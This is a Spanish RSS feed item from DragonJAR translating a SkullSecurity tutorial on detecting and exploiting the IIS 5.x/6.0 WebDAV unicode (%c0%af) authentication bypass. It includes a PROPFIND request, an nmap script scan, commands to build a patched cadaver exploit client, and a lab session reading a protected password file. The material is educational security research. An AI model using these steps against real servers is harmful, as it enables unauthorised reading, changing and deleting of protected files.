<?xml version="1.0" encoding="UTF-8"?> <rss
version="2.0"
xmlns:content="http://purl.org/rss/1.0/modules/content/"
xmlns:wfw="http://wellformedweb.org/CommentAPI/"
xmlns:dc="http://purl.org/dc/elements/1.1/"
xmlns:atom="http://www.w3.org/2005/Atom"
xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
><channel><title>La Comunidad DragonJAR &#187; IIS</title> <atom:link href="http://www.dragonjar.org/tag/iis/feed" rel="self" type="application/rss+xml" /><link>http://www.dragonjar.org</link> <description>Noticias de actualidad y seguridad informática, herramientas de seguridad, documentación y una excelente COMUNIDAD.</description> <lastBuildDate>Sat, 11 Feb 2012 22:13:24 +0000</lastBuildDate> <language>en</language> <sy:updatePeriod>hourly</sy:updatePeriod> <sy:updateFrequency>1</sy:updateFrequency> <generator>http://wordpress.org/?v=3.3.1</generator> <item><title>Detección de WebDAV, verificación de la vulnerabilidad y explotación</title><link>http://www.dragonjar.org/deteccion-de-webdav-verificacion-de-la-vulnerabilidad-y-explotacion.xhtml</link> <comments>http://www.dragonjar.org/deteccion-de-webdav-verificacion-de-la-vulnerabilidad-y-explotacion.xhtml#comments</comments> <pubDate>Mon, 01 Jun 2009 21:13:48 +0000</pubDate> <dc:creator>Cortex</dc:creator> <category><![CDATA[Artículos sobre seguridad]]></category> <category><![CDATA[COMOs]]></category> <category><![CDATA[General]]></category> <category><![CDATA[Herramientas Seguridad]]></category> <category><![CDATA[Exploits]]></category> <category><![CDATA[IIS]]></category> <category><![CDATA[Microsoft]]></category> <category><![CDATA[Vulnerabilidad]]></category> <category><![CDATA[WebDAV]]></category> <category><![CDATA[Windows]]></category><guid
isPermaLink="false">http://www.dragonjar.org/?p=2419</guid> <description><![CDATA[En SkullSecurity han publicado un interesante artículo (creado por Andrew) en el que muestran como llevar a cabo el proceso de explotación de la tan renombrada vulnerabilidad de WebDAV en los servidores IIS 6.0/5.0 descubierta el mes pasado, la cual permite acceder a directorios protegidos con contraseña debido al mal filtrado que se hace del [...]]]></description> <content:encoded><![CDATA[<p>En <a
title="WebDAV Detection, Vulnerability Checking and Exploitation" href="http://www.skullsecurity.org/blog/?p=285">SkullSecurity</a> han publicado un interesante artículo (creado por <strong>Andrew</strong>) en el que muestran como llevar a cabo el proceso de explotación de la tan renombrada <a
title="Understanding Microsoft's KB971492 IIS5/IIS6 WebDAV Vulnerability" href="http://unixwiz.net/techtips/ms971492-webdav-vuln.html">vulnerabilidad de <strong>WebDAV</strong> en los servidores <strong>IIS 6.0/5.0</strong></a> descubierta el mes pasado, la cual permite acceder a directorios protegidos con contraseña debido al mal filtrado que se hace del caracter unicode <em> %c0%a. </em></p><p>El artículo se encuentra en Inglés pero he decidido realizar la <strong>traducción</strong> para que nuestro público hispano también pueda tener acceso a este buen contenido. Se hace uso de la herramienta <a
title="El Libro de Nmap" href="http://www.dragonjar.org/el-libro-de-nmap.xhtml"><strong>Nmap</strong></a> para detectar si el servidor es vulnerable y luego por medio de una versión de <a
title="cadaver WebDAV" href="http://www.webdav.org/cadaver/"><strong>cadaver</strong></a> parcheada se realiza la explotación.</p><p><span
id="more-2419"></span></p><h2>Detección de <a
href="http://www.dragonjar.org/tag/webdav" class="st_tag internal_tag" rel="tag" title="Entradas etiquetadas con WebDAV">WebDAV</a>, verificación de la <a
href="http://www.dragonjar.org/tag/vulnerabilidad" class="st_tag internal_tag" rel="tag" title="Entradas etiquetadas con Vulnerabilidad">vulnerabilidad</a> y explotación</h2><p>La primera cosa que deberías saber al jugar con esta vulnerabilidad es que el servidor <a
href="http://www.dragonjar.org/tag/iis" class="st_tag internal_tag" rel="tag" title="Entradas etiquetadas con IIS">IIS</a> no es explotable sí el directorio raiz está protegido. También si el directorio raiz está protegido, no hay manera de determinar ni siquiera si <a
title="Detección de WebDAV, verificación de la vulnerabilidad y explotación" href="http://www.dragonjar.org/deteccion-de-webdav-verificacion-de-la-vulnerabilidad-y-explotacion.xhtml">WebDAV</a> está activado. Siendo dicho eso, si el directorio raiz _no_ está protegido entonces es hora de divertirnos un poco.</p><h2>Detectando sí WebDAV está activado</h2><p><strong>Las pruebas han sido realizadas en:</strong></p><ul><li>IIS 6.0/<a
href="http://www.dragonjar.org/tag/windows" class="st_tag internal_tag" rel="tag" title="Entradas etiquetadas con Windows">Windows</a> 2003 Enterprise SP2</li><li>IIS 5.1/Windows XP Pro SP2</li><li>IIS 5.0/Windows 2000 SP4</li></ul><p>En IIS 6-.0, WebDAV está desactivado por defecto. En IIS 5.0 y 5.1, WebDAV está activado por defecto y se debe editar el registro para desactivarlo.</p><p>Mi método de detección simplista requiere de ejecutar una petición <strong>PROPFIND</strong> en el servidor. Básicamente es la misma petición PROPFIND usada en el script <em><strong>http-iis-webdav-vuln.nse</strong></em>:</p><p
style="padding-left: 30px;"><code>PROPFIND / HTTP/1.1<br
/> Host: xxx.xxx.xxx.xxx<br
/> Content-Type: application/xml<br
/> Content-Length: 298</code></p><p
style="padding-left: 30px;">&lt;?xml version=&#8221;1.0&#8243; encoding=&#8221;utf-8&#8243;?&gt;<br
/> &lt;propfind xmlns=&#8221;DAV:&#8221;&gt;<br
/> &lt;prop&gt;<br
/> &lt;getcontentlength xmlns=&#8221;DAV:&#8221;/&gt;<br
/> &lt;getlastmodified xmlns=&#8221;DAV:&#8221;/&gt;<br
/> &lt;executable xmlns=&#8221;http://apache.org/dav/props/&#8221;/&gt;<br
/> &lt;resourcetype xmlns=&#8221;DAV:&#8221;/&gt;<br
/> &lt;checked-in xmlns=&#8221;DAV:&#8221;/&gt;<br
/> &lt;checked-out xmlns=&#8221;DAV:&#8221;/&gt;<br
/> &lt;/prop&gt;<br
/> &lt;/propfind&gt;</p><p>Cuando <strong>WebDAV está activado</strong>, debería devolver <em><strong>&#8220;HTTP/1.1 207 Multi-Status&#8221;</strong></em>.<br
/> Cuando <strong>WebDAV ha sido desactivado</strong>, debería retornar <em><strong>&#8220;HTTP/1.1 501 Not Supported&#8221;</strong></em>.</p><p>Éste es el método que he implementado en el script http-iis-webdav-vuln.nse. Funciona muy bien en el laboratorio con los servidores IIS. Si recibimos alguna otra cosa diferente a 207 o 501 entonces abordamos el barco diciendo que el servidor no está soportado. Por otrolado, un servidor Aparche corriendo sobre Ubuntu devolvería un 405 Method Not Allowed.</p><h2>Verificando si un servidor es vulnerable</h2><p><strong>Las pruebas han sido realizadas en:</strong></p><ul><li>IIS 6.0/Windows 2003 Enterprise SP2</li><li>IIS 5.1/Windows XP Pro SP2</li></ul><p><strong>No funciona en:</strong></p><ul><li>IIS 5.0/Windows 2000 SP4</li></ul><p>El script original sólo usaba un forma para verificar; primero encontraría un directorio protegido (<em>/secret/</em>) y luego probaría intentando el caracter <em>%c0%af</em> después del primer /. Entonces <em>/secret/</em> se convertiría en <em>/%c0%afsecret/</em>.</p><p>Funcionó muy bien en IIS 6.0 pero no funcionó del todo en IIS 5.0/5.1. Después jugar un poco más hoy con esto, logramos hacerlo funcionar en IIS 5.1. El problema con el 5.1 es que el caracter <em>%c0%af</em> no puede estar justo antes de / pero sí en alguna parte entre el nombre del directorio. También funcionó en IIS 6.0. Modifiqué el script de manera que usara la verificación de IIS 5.0/6.0, convirtiendo <em><strong>/secret/</strong></em> en <strong><em>/s%c0%afecret/</em></strong>.</p><h2>Encontrando un servidor vulnerable</h2><p><strong>Las pruebas han sido realizadas en:</strong></p><ul><li>IIS 6.0/Windows 2003 Enterprise SP2</li><li>IIS 5.1/Windows XP Pro SP2</li></ul><p><strong>No funciona en:</strong></p><ul><li>IIS 5.0/Windows 2000 SP4</li></ul><p>Ahora vamos a la parte divertida. Si hasta ahora no te has divertido, vete preparando por que ya casi llegamos!</p><p>Lo primero que necesitamos hacer es encontrar un servidor vulnerable. Sólo llegué a saber de un Windows 2003 en mi laboratorio corriendo IIS 6.0 que es vulnerable (actualizado y parcheado hasta la fecha). Veamos funciona como un escaneo con nmap en este sistema con el script actualizado:</p><p
style="padding-left: 30px;">&gt; ./nmap -T4 -p80 &#8211;script=http-iis-webdav-vuln xxx.xxx.xxx.xxx</p><p
style="padding-left: 30px;">Starting Nmap 4.85BETA9 ( http://nmap.org ) at 2009-05-20 14:29 CDT<br
/> Interesting ports on xxx.xxx.xxx.xxx:<br
/> PORT   STATE SERVICE<br
/> 80/tcp open  http<br
/> |_ http-iis-webdav-vuln: WebDAV is ENABLED. Vulnerable folders discovered: /private, /secret, /webdav</p><p
style="padding-left: 30px;">Nmap done: 1 IP address (1 host up) scanned in 21.41 seconds</p><p>Interesante! Ahora sabemos que el servidor tiene WebDAV activado y hay 3 directorios vulnerables.</p><h2>Explotándolo!</h2><p>Ahora podríamos hacer lo que sea haciendo uso de telnet por el puerto 80, pero no es muy divertido (creeme, es muy tedioso!) así que busqué un cliente WebDAV. Me tropecé con un software libre llamado <a
title="cadaver WebDAV" href="http://www.webdav.org/cadaver/">cadaver</a>, y basado únicamente en el nombre lo descargué. Cadaver por sí mismo es un gran cliente WebDAV de línea de comandos pero rápidamente me dí cuenta que tiene un montón de problemas que no nos dejarían hacer lo que queríamos. Lo bueno del software libre es que es abierto, así que descargué el <a
title="cadaver-0.23.2.tar.gz" href="http://www.webdav.org/cadaver/cadaver-0.23.2.tar.gz">código fuente de cadaver-0.23.2</a> y después de modificarlo un poco, resultamos con un <a
title="cadaver-0.23.2-h4x.patch" href="http://www.skullsecurity.org/blogdata/cadaver-0.23.2-h4x.patch">pequeño parche</a> que hace bastante sencillo explotar un servidor. Revisa el parche por ti mismo para ver detalles a fondo pero básicamente hace lo siguiente:</p><p>1. Reemplazar cualquier cabecera &#8220;Depth: 0&#8243; por &#8220;Depth: 1&#8243; (de otro modo LS no funcionaría)<br
/> 2. Agregar la cabecera &#8220;Translate: f&#8221; a cada petición (de otra manera GET y probablemente otros no funcionarían.<br
/> 3. Insertar los caracteres &#8220;%c0%af&#8221; en cualquier petición con más de 1 caracter.</p><p>Así que baja el parche <a
href="http://www.skullsecurity.org/blogdata/cadaver-0.23.2-h4x.patch"><strong>cadaver-0.23.2-h4x.patch</strong></a> y apĺícalo a la <strong>fuentes de cadaver-0.23.2</strong> desde el <a
title="cadaver WebDAV" href="http://www.webdav.org/cadaver/">sitio web de cadaver</a>. Aquí están los comandos:<code><br
/> </code></p><p
style="padding-left: 30px;">&gt; mkdir cadaver-h4x<br
/> &gt; cd cadaver-h4x<br
/> &gt; wget http://www.skullsecurity.org/blogdata/cadaver-0.23.2-h4x.patch<br
/> &#8211;recortado&#8211;<br
/> &gt; wget http://www.webdav.org/cadaver/cadaver-0.23.2.tar.gz<br
/> &#8211;recortado&#8211;<br
/> &gt; tar xzvf cadaver-0.23.2.tar.gz<br
/> &#8211;recortado&#8211;<br
/> &gt; cd cadaver-0.23.2/<br
/> &gt; patch -p1 &lt; ../cadaver-0.23.2-h4x.patch<br
/> patching file lib/neon/ne_basic.c<br
/> patching file lib/neon/ne_request.c<br
/> patching file lib/neon/ne_uri.c<br
/> &gt; ./configure<br
/> &#8211;recortado&#8211;<br
/> &gt; make<br
/> &#8211;recortado&#8211;</p><p>Ahora deberíamos de tener una versión parcheada y compilada de cadaver. Iníciala con el servidor que habías identificado con directorios vulnerables anteriormente:</p><p
style="padding-left: 30px;">&gt; ./cadaver xxx.xxx.xxx.xxx</p><p>Esto debería de dejarte en un prompt con &#8220;dav:/&gt;&#8221;. Ahora simplemente haz cd al directorio vulnerable y verifica que hay ahí:<code><br
/> </code></p><p
style="padding-left: 30px;">dav:/&gt; cd secret<br
/> dav:/secret/&gt; ls<br
/> Listing collection `/secret/&#8217;: succeeded.<br
/> password.txt                           7  May 19 10:40<br
/> dav:/secret/&gt; cat password.txt<br
/> Displaying `/secret/password.txt&#8217;:<br
/> ron$pr0ns<br
/> dav:/secret/&gt;</p><p>Y ahí lo tienes!</p><p>Aquí tienes una lista de comandos que he probado y funcionan con cadaver parcheado en un directorio vulnerable:</p><ul><li>CD</li><li>LS</li><li>MOVE</li><li>PUT</li><li>GET</li><li>CAT</li><li>DELETE</li></ul><p>Curiosamente, el comando COPY no funciona. No hemos tenido tiempo para investigar por, pero la funcionalidad puede ser duplicada con un <strong>get/local rename/put</strong>.</p><p>Este cadaver parcheado tampoco funcionará para examinar directorios WebDAV regulares (no vulnerables), así que no intentes.</p><h3  class="related_post_title">También puede interesarte...</h3><ul
class="related_post"><li><a
href="http://www.dragonjar.org/video-explotando-wm-downloader.xhtml" title="Video: Explotando WM Downloader ">Video: Explotando WM Downloader </a></li><li><a
href="http://www.dragonjar.org/vulnerabilidad-0-day-todos-los-windows.xhtml" title="Vulnerabilidad 0-day en todas las versiones de Windows">Vulnerabilidad 0-day en todas las versiones de Windows</a></li><li><a
href="http://www.dragonjar.org/parches-para-windows-corrigen-vulnerabilidades-criticas.xhtml" title="Parches para Windows que corrigen Vulnerabilidades Criticas">Parches para Windows que corrigen Vulnerabilidades Criticas</a></li><li><a
href="http://www.dragonjar.org/denegacion-de-servicio-desde-el-wordpad.xhtml" title="Denegacion de Servicio desde el WordPad">Denegacion de Servicio desde el WordPad</a></li><li><a
href="http://www.dragonjar.org/actualiza-tu-equipo-con-windows.xhtml" title="Actualiza tu equipo con Windows">Actualiza tu equipo con Windows</a></li><li><a
href="http://www.dragonjar.org/video-tutorial-de-nessus-y-baseline-security-analyzer.xhtml" title="Video Tutorial de Nessus y Baseline Security Analyzer">Video Tutorial de Nessus y Baseline Security Analyzer</a></li><li><a
href="http://www.dragonjar.org/microsoft-publica-parche-que-corrige-vulnerabilidad-critica.xhtml" title="Microsoft Publica parche que corrige Vulnerabilidad &#8220;Critica&#8221;">Microsoft Publica parche que corrige Vulnerabilidad &#8220;Critica&#8221;</a></li><li><a
href="http://www.dragonjar.org/winautopwn-ataques-automaticos-de-entornos-windows.xhtml" title="winAUTOPWN &#8211; Ataques automáticos de entornos Windows">winAUTOPWN &#8211; Ataques automáticos de entornos Windows</a></li></ul>]]></content:encoded> <wfw:commentRss>http://www.dragonjar.org/deteccion-de-webdav-verificacion-de-la-vulnerabilidad-y-explotacion.xhtml/feed</wfw:commentRss> <slash:comments>4</slash:comments> </item> </channel> </rss>
<!-- Performance optimized by W3 Total Cache. Learn more: http://www.w3-edge.com/wordpress-plugins/

Minified using disk: basic
Page Caching using disk: enhanced
Database Caching 5/17 queries in 0.020 seconds using disk: basic
Object Caching 531/544 objects using disk: basic

Served from: www.dragonjar.org @ 2012-02-11 19:34:30 -->
